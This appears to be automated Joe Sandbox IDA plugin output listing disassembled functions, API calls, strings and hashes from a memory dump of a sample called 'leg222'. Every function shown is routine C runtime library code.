Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: std::_$Lockit$Lockit::~_$Lockit::_$Facet_Register___std_exception_copy
String ID:
API String ID: 728164013-0
Opcode ID: 3e518410d3ff8a5241eef71f6f5c38a7dccfc291723632661538a411be0fabc6
Instruction ID: 5d03b88794a4cd7f82259a660d6b3be7a917cc298f11ad1584336df1b75d46ef
Opcode Fuzzy Hash: 3e518410d3ff8a5241eef71f6f5c38a7dccfc291723632661538a411be0fabc6
Instruction Fuzzy Hash: F82125319082118FC761EF14E990A6FB7B0EB86320F19065EE894572D2DF35AD4ECF82

Function 00AA5AE0 Relevance: 9.1, APIs: 6, Instructions: 95COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00AA5AED
std::_Lockit::_Lockit.LIBCPMT ref: 00AA5B0B
std::_Lockit::~_Lockit.LIBCPMT ref: 00AA5B2C
std::_Lockit::~_Lockit.LIBCPMT ref: 00AA5B7C
std::_Facet_Register.LIBCPMT ref: 00AA5BA6
std::_Lockit::~_Lockit.LIBCPMT ref: 00AA5BBF

Part of subcall function 00AA1930: ___std_exception_copy.LIBVCRUNTIME ref: 00AA196C

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: std::_$Lockit$Lockit::~_$Lockit::_$Facet_Register___std_exception_copy
String ID:
API String ID: 728164013-0
Opcode ID: 09e275170ce4bb87d6cc919b3881d80fdc59209a2d28dee4d43a5ef705ab6b03
Instruction ID: 713552c00619bf25e3b2ef064bc2123b4d28d8246d96b983dcd27ba75ff3fd88
Opcode Fuzzy Hash: 09e275170ce4bb87d6cc919b3881d80fdc59209a2d28dee4d43a5ef705ab6b03
Instruction Fuzzy Hash: 9421F0359046118BC721EF24EC9096FB3A0FB82361F15065DE885972E1EF31ED0ACBE6

Function 00AAE23A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00AAE231,00AAC7EC,00AAB8E6), ref: 00AAE248
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00AAE256
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00AAE26F
SetLastError.KERNEL32(00000000,00AAE231,00AAC7EC,00AAB8E6), ref: 00AAE2C1

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 083c7cb4235dd5a86b62c558dd1be6c30a653d2c590881f45f7c6089645e3969
Instruction ID: 0d9c8672f5396ad2ca4a47172c9ad55d9769d40d9f0cf8c04a09b59eaf2952bf
Opcode Fuzzy Hash: 083c7cb4235dd5a86b62c558dd1be6c30a653d2c590881f45f7c6089645e3969
Instruction Fuzzy Hash: F501243260A6111EAF28A7F4BCC9BA73749EB07775720433AF010530F0EF514C0A5181

Function 00AB6A90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,8B0E21E6,?,?,00000000,00AC8753,000000FF,?,00AB6A20,00000002,?,00AB69F4,00AB30CA), ref: 00AB6AC5
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00AB6AD7
FreeLibrary.KERNEL32(00000000,?,?,00000000,00AC8753,000000FF,?,00AB6A20,00000002,?,00AB69F4,00AB30CA), ref: 00AB6AF9

Strings

mscoree.dll, xrefs: 00AB6ABE
CorExitProcess, xrefs: 00AB6ACF

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0ac32a624c21ac38193e6b19940245fef2ff734b959d47450b433f3354898e4d
Instruction ID: 48c90ad7134fce2ce6d7a00387a899bcf12b5155370d81889fa11fbc81a01ff3
Opcode Fuzzy Hash: 0ac32a624c21ac38193e6b19940245fef2ff734b959d47450b433f3354898e4d
Instruction Fuzzy Hash: F3016236944619AFDB11CF90CC05FBEBBB8FB04B55F058539E816F2290DBB89901CA91

Function 00ABED42 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00ABEDC9
__alloca_probe_16.LIBCMT ref: 00ABEE8A
__freea.LIBCMT ref: 00ABEEF1

Part of subcall function 00AB9C27: HeapAlloc.KERNEL32(00000000,00AC004D,?,?,00AC004D,00000220,?,00000010,?), ref: 00AB9C59

__freea.LIBCMT ref: 00ABEF06
__freea.LIBCMT ref: 00ABEF16

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 5109adb17a14e44e5fae51437cd0619e9fdbf3fe91c8211184e2e89fa435cee2
Instruction ID: 77ad847dd28ffbdd4ae6ddd6c213e36bcb92cca8360d773115c6360771f63ea9
Opcode Fuzzy Hash: 5109adb17a14e44e5fae51437cd0619e9fdbf3fe91c8211184e2e89fa435cee2
Instruction Fuzzy Hash: A4517A7260021AAFEB25DFA4DD85EFB3AADEB04750F190129FD08DB153EB70CC1096A1

Function 00AA93AF Relevance: 7.6, APIs: 5, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AA93B6
std::_Lockit::_Lockit.LIBCPMT ref: 00AA93C0

Part of subcall function 00AA1AC0: std::_Lockit::_Lockit.LIBCPMT ref: 00AA1ACF
Part of subcall function 00AA1AC0: std::_Lockit::~_Lockit.LIBCPMT ref: 00AA1AEA

codecvt.LIBCPMT ref: 00AA93FA
std::_Facet_Register.LIBCPMT ref: 00AA9411
std::_Lockit::~_Lockit.LIBCPMT ref: 00AA9431

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: 89dbd1be4583ae9e2958ac5bec73976fc06a0f36b83ee97a8a7e218521aaf38e
Instruction ID: 0aef1139455e5ecddfc0aa983080a240ec3112495feabdc8239cd4ffab6b69fe
Opcode Fuzzy Hash: 89dbd1be4583ae9e2958ac5bec73976fc06a0f36b83ee97a8a7e218521aaf38e
Instruction Fuzzy Hash: F411E1759142189BCB00AF64CA41BAF77B4BF46720F15040DE405AB2C1DFB4AE018790

Function 00AA7C7C Relevance: 7.6, APIs: 5, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AA7C83
std::_Lockit::_Lockit.LIBCPMT ref: 00AA7C8D

Part of subcall function 00AA1AC0: std::_Lockit::_Lockit.LIBCPMT ref: 00AA1ACF
Part of subcall function 00AA1AC0: std::_Lockit::~_Lockit.LIBCPMT ref: 00AA1AEA

codecvt.LIBCPMT ref: 00AA7CC7
std::_Facet_Register.LIBCPMT ref: 00AA7CDE
std::_Lockit::~_Lockit.LIBCPMT ref: 00AA7CFE

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: 5b29cf06ce27c395a6fa90de724a38a0ca140a49f191e5f4c9bcfaa2e5f0981e
Instruction ID: bc65b947d186b3fa62f387c8719afa8448a1b4cb48ebc00968f84e8ea2580eb2
Opcode Fuzzy Hash: 5b29cf06ce27c395a6fa90de724a38a0ca140a49f191e5f4c9bcfaa2e5f0981e
Instruction Fuzzy Hash: F511B1759042299FCB15EFA8CE01AAF7BF4AF46320F14051EE405A72C1DFB49E018B91

Function 00AA9037 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AA903E
std::_Lockit::_Lockit.LIBCPMT ref: 00AA9049
std::_Lockit::~_Lockit.LIBCPMT ref: 00AA90B7

Part of subcall function 00AA919A: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00AA91B2

std::locale::_Setgloballocale.LIBCPMT ref: 00AA9064
_Yarn.LIBCPMT ref: 00AA907A

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: d062542936ffbe887e04e796ccac9f343da3cfa20be17be20a66e9dbcc19f8fa
Instruction ID: 70e120857400f78f5dff896acd1961f30ee9b9584c76a55bfb1ac7af8d122626
Opcode Fuzzy Hash: d062542936ffbe887e04e796ccac9f343da3cfa20be17be20a66e9dbcc19f8fa
Instruction Fuzzy Hash: C6018F79A002259FCB06EB60D95597E7BB2FF86340B19410DE9155B3C1CF786E42CBD1

Function 00AA2230 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00AA22CD

Part of subcall function 00AABCA0: RaiseException.KERNEL32(E06D7363,00000001,00000003,00AABBC3,?,?,?,?,00AABBC3,?,00AD40FC,?), ref: 00AABD00

Strings

ios_base::eofbit set, xrefs: 00AA2276
ios_base::failbit set, xrefs: 00AA217D, 00AA2271
ios_base::badbit set, xrefs: 00AA2267, 00AA2292, 00AA22B0

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3109751735-1866435925
Opcode ID: e62b23050d7c2b757650498233f8776a46b2c13ba95578b857df252fd34fbc18
Instruction ID: 1c61099edc196a14be06d02280a48bd87578e23e3e070d3edd70aa57299465bc
Opcode Fuzzy Hash: e62b23050d7c2b757650498233f8776a46b2c13ba95578b857df252fd34fbc18
Instruction Fuzzy Hash: 4511D6B29147046FC710DF6CC841FDAB3E8AF56310F14862EFA5597281F774A954CBA1

Function 00AAF382 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000011,00000000,00000800,?,00AAF333,00000000,00000001,00BB73CC,?,?,?,00AAF4D6,00000004,InitializeCriticalSectionEx,00ACBE28,InitializeCriticalSectionEx), ref: 00AAF38F
GetLastError.KERNEL32(?,00AAF333,00000000,00000001,00BB73CC,?,?,?,00AAF4D6,00000004,InitializeCriticalSectionEx,00ACBE28,InitializeCriticalSectionEx,00000000,?,00AAF28D), ref: 00AAF399
LoadLibraryExW.KERNEL32(00000011,00000000,00000000,?,00000011,00AAE1A3), ref: 00AAF3C1

Strings

api-ms-, xrefs: 00AAF3A6

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: f3e150ef9d8be8ca127e068749bf439d40292eb0d38f7d37975e594da24c5b6c
Instruction ID: 2e4d9ebbf3c300720f2e7233fe52ce77fee2b002e3f2023deaeedfb28647c2f1
Opcode Fuzzy Hash: f3e150ef9d8be8ca127e068749bf439d40292eb0d38f7d37975e594da24c5b6c
Instruction Fuzzy Hash: A2E04830240208BBEF111BE1ED06F693F59AF11B98F110031FA0DED0E1D77698169596

Function 00ABBE36 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(8B0E21E6,00000010,00000000,?), ref: 00ABBE99

Part of subcall function 00ABF13E: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00ABEEE7,?,00000000,-00000008), ref: 00ABF1EA

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00ABC0F4
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00ABC13C
GetLastError.KERNEL32 ref: 00ABC1DF

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 02c26e192665187fce7f6c7efbb582a495556bf5d7a0e410467f51f8d640c468
Instruction ID: 164b4e2118daf2c9b662240cce80117236c08daa67abe51d1e34c5557455f674
Opcode Fuzzy Hash: 02c26e192665187fce7f6c7efbb582a495556bf5d7a0e410467f51f8d640c468
Instruction Fuzzy Hash: 07D15975D002589FDF15CFA8D8809EDBBB9FF49314F18462AE856FB252D730A942CB60

Function 00AAE351 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00AAE418
___AdjustPointer.LIBCMT ref: 00AAE43B
___AdjustPointer.LIBCMT ref: 00AAE4D7

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 2bff6a4d4aedb83695eada4932ccd5eb9fb43a1f543f266eb96b8ff8ace212e7
Instruction ID: 9abb2005864c4926f56e793d8440e2d05f4df433152b6ca35aac2c64b571af59
Opcode Fuzzy Hash: 2bff6a4d4aedb83695eada4932ccd5eb9fb43a1f543f266eb96b8ff8ace212e7
Instruction Fuzzy Hash: BB510672600646AFDB29DF54D981B7AB7B8FF4A710F14452DE9164B2E1E732EC40CB90

Function 00ABF55A Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00ABF13E: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00ABEEE7,?,00000000,-00000008), ref: 00ABF1EA

GetLastError.KERNEL32 ref: 00ABF5BE
__dosmaperr.LIBCMT ref: 00ABF5C5
GetLastError.KERNEL32(?,?,?,?), ref: 00ABF5FF
__dosmaperr.LIBCMT ref: 00ABF606

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: bfef7095090f9b1a0e2e7a2f78ce963f8a959bf0886fb30172e42f2c50bc1dc1
Instruction ID: e5ddae93d483164f563ffeb750817b25575a37098ffa6666a76ea77af18ef319
Opcode Fuzzy Hash: bfef7095090f9b1a0e2e7a2f78ce963f8a959bf0886fb30172e42f2c50bc1dc1
Instruction Fuzzy Hash: 7C21B071600245AFDF20AF769D809EAB7ACEF043647188539F929D7213D731ED109BA1

Function 00AB5E6A Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d99a2ce2da7174b513aee67ee4746e41d3680f31f63240761fc248f5adc0f6fa
Instruction ID: 6d5a57d01c9a6d3e07d108059bba137a36f635899e7ad8e7900a6014c2167a55
Opcode Fuzzy Hash: d99a2ce2da7174b513aee67ee4746e41d3680f31f63240761fc248f5adc0f6fa
Instruction Fuzzy Hash: F821AE71A04A05AFDB20AF71CD81BFAB7ADEF14364B108515F925D7142EB32ED108BA0

Function 00AC04F0 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00AC04F8

Part of subcall function 00ABF13E: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00ABEEE7,?,00000000,-00000008), ref: 00ABF1EA

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00AC0530
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00AC0550

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 2d0d33d014bb1311b7c26e3a5018997e9ed5b6e6df601d116cd80c85c3d4dd6b
Instruction ID: 9af890e74ac954516ff467ce385eb1397e9808f79fb0521a7f0deea279193bbb
Opcode Fuzzy Hash: 2d0d33d014bb1311b7c26e3a5018997e9ed5b6e6df601d116cd80c85c3d4dd6b
Instruction Fuzzy Hash: B5112BF150120DFF6B1167B99D8DDBF2DACEE443D87124628F905D1101EE24CE028A71

Function 00AC6726 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000010,00000000,00AD3A70,00000000,00000010,?,00AC4F42,00000010,00000001,00000010,?,?,00ABC233,?,00000010,00000000), ref: 00AC673D
GetLastError.KERNEL32(?,00AC4F42,00000010,00000001,00000010,?,?,00ABC233,?,00000010,00000000,?,?,?,00ABC7BA,00000010), ref: 00AC6749

Part of subcall function 00AC670F: CloseHandle.KERNEL32(FFFFFFFE,00AC6759,?,00AC4F42,00000010,00000001,00000010,?,?,00ABC233,?,00000010,00000000,?,?), ref: 00AC671F

___initconout.LIBCMT ref: 00AC6759

Part of subcall function 00AC66D1: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00AC6700,00AC4F2F,?,?,00ABC233,?,00000010,00000000,?), ref: 00AC66E4

WriteConsoleW.KERNEL32(00000010,00000000,00AD3A70,00000000,?,00AC4F42,00000010,00000001,00000010,?,?,00ABC233,?,00000010,00000000,?), ref: 00AC676E

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 50e9c02b9f7d99f0ce1f4f4d443670938351ecf12d431f4bf5e0b3823c6aaf0c
Instruction ID: c4ea75392f7a4e7471d8feb64c2e0ad88519579cbd43bbfa3a00075679482dda
Opcode Fuzzy Hash: 50e9c02b9f7d99f0ce1f4f4d443670938351ecf12d431f4bf5e0b3823c6aaf0c
Instruction Fuzzy Hash: E7F03936401128BBCF22AFE5DD08E9A7F26FF497A5F068515FE1995130DA328821DB91

Function 00AA2160 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00AA22CD

Part of subcall function 00AABCA0: RaiseException.KERNEL32(E06D7363,00000001,00000003,00AABBC3,?,?,?,?,00AABBC3,?,00AD40FC,?), ref: 00AABD00

Strings

ios_base::failbit set, xrefs: 00AA217D
ios_base::badbit set, xrefs: 00AA2267, 00AA2292, 00AA22B0

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::failbit set
API String ID: 3109751735-1240500531
Opcode ID: e7b41b0d6750de13a3d6bf6b6f150ad4c496a88b0a5927c271404153e4c0bfda
Instruction ID: 7f09eb9b83aa365c142828adc98922794a8f826118bbf22429f130f258d95377
Opcode Fuzzy Hash: e7b41b0d6750de13a3d6bf6b6f150ad4c496a88b0a5927c271404153e4c0bfda
Instruction Fuzzy Hash: DF41F4765043046FC304DF2CC841FAAB7E9EF9A310F14861EF9A587291E770E955CBA2

Function 00AAE040 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00AAE07F
__IsNonwritableInCurrentImage.LIBCMT ref: 00AAE133

Strings

csm, xrefs: 00AAE11D

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
